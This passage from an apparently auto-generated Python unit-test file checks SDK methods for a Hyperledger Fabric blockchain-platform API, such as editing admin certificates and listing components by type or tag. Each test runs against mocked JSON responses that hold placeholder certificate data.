assert req_body['append_admin_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
assert req_body['remove_admin_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
@responses.activate
def test_edit_admin_certs_required_params(self):
"""
test_edit_admin_certs_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/testString/certs')
mock_response = '{"changes_made": 1, "set_admin_certs": [{"base_64_pem": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "issuer": "/C=US/ST=North Carolina/O=Hyperledger/OU=Fabric/CN=fabric-ca-server", "not_after_ts": 1597770420000, "not_before_ts": 1566234120000, "serial_number_hex": "649a1206fd0bc8be994886dd715cecb0a7a21276", "signature_algorithm": "SHA256withECDSA", "subject": "/OU=client/CN=admin", "X509_version": 3, "time_left": "10 hrs"}]}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Invoke method
response = service.edit_admin_certs(
id,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_edit_admin_certs_value_error(self):
"""
test_edit_admin_certs_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/testString/certs')
mock_response = '{"changes_made": 1, "set_admin_certs": [{"base_64_pem": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "issuer": "/C=US/ST=North Carolina/O=Hyperledger/OU=Fabric/CN=fabric-ca-server", "not_after_ts": 1597770420000, "not_before_ts": 1566234120000, "serial_number_hex": "649a1206fd0bc8be994886dd715cecb0a7a21276", "signature_algorithm": "SHA256withECDSA", "subject": "/OU=client/CN=admin", "X509_version": 3, "time_left": "10 hrs"}]}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.edit_admin_certs(**req_copy)
# endregion
##############################################################################
# End of Service: ManageComponent
##############################################################################
##############################################################################
# Start of Service: ManageMultipleComponents
##############################################################################
# region
class TestListComponents():
"""
Test Class for list_components
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_list_components_all_params(self):
"""
list_components()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
deployment_attrs = 'included'
parsed_certs = 'included'
cache = 'skip'
ca_attrs = 'included'
# Invoke method
response = service.list_components(
deployment_attrs=deployment_attrs,
parsed_certs=parsed_certs,
cache=cache,
ca_attrs=ca_attrs,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'deployment_attrs={}'.format(deployment_attrs) in query_string
assert 'parsed_certs={}'.format(parsed_certs) in query_string
assert 'cache={}'.format(cache) in query_string
assert 'ca_attrs={}'.format(ca_attrs) in query_string
@responses.activate
def test_list_components_required_params(self):
"""
test_list_components_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.list_components()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestGetComponentsByType():
"""
Test Class for get_components_by_type
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_components_by_type_all_params(self):
"""
get_components_by_type()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/types/fabric-peer')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
type = 'fabric-peer'
deployment_attrs = 'included'
parsed_certs = 'included'
cache = 'skip'
# Invoke method
response = service.get_components_by_type(
type,
deployment_attrs=deployment_attrs,
parsed_certs=parsed_certs,
cache=cache,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'deployment_attrs={}'.format(deployment_attrs) in query_string
assert 'parsed_certs={}'.format(parsed_certs) in query_string
assert 'cache={}'.format(cache) in query_string
@responses.activate
def test_get_components_by_type_required_params(self):
"""
test_get_components_by_type_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/types/fabric-peer')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
type = 'fabric-peer'
# Invoke method
response = service.get_components_by_type(
type,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_get_components_by_type_value_error(self):
"""
test_get_components_by_type_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/types/fabric-peer')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
type = 'fabric-peer'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"type": type,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.get_components_by_type(**req_copy)
class TestGetComponentsByTag():
"""
Test Class for get_components_by_tag
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_components_by_tag_all_params(self):
"""
get_components_by_tag()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/tags/testString')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
tag = 'testString'
deployment_attrs = 'included'
parsed_certs = 'included'
cache = 'skip'
# Invoke method
response = service.get_components_by_tag(
tag,
deployment_attrs=deployment_attrs,
parsed_certs=parsed_certs,
cache=cache,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'deployment_attrs={}'.format(deployment_attrs) in query_string
assert 'parsed_certs={}'.format(parsed_certs) in query_string
assert 'cache={}'.format(cache) in query_string
@responses.activate
def test_get_components_by_tag_required_params(self):
"""
test_get_components_by_tag_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/tags/testString')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
tag = 'testString'
# Invoke method
response = service.get_components_by_tag(
tag,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_get_components_by_tag_value_error(self):
"""
test_get_components_by_tag_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/tags/testString')
mock_response = '{"components": [{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": 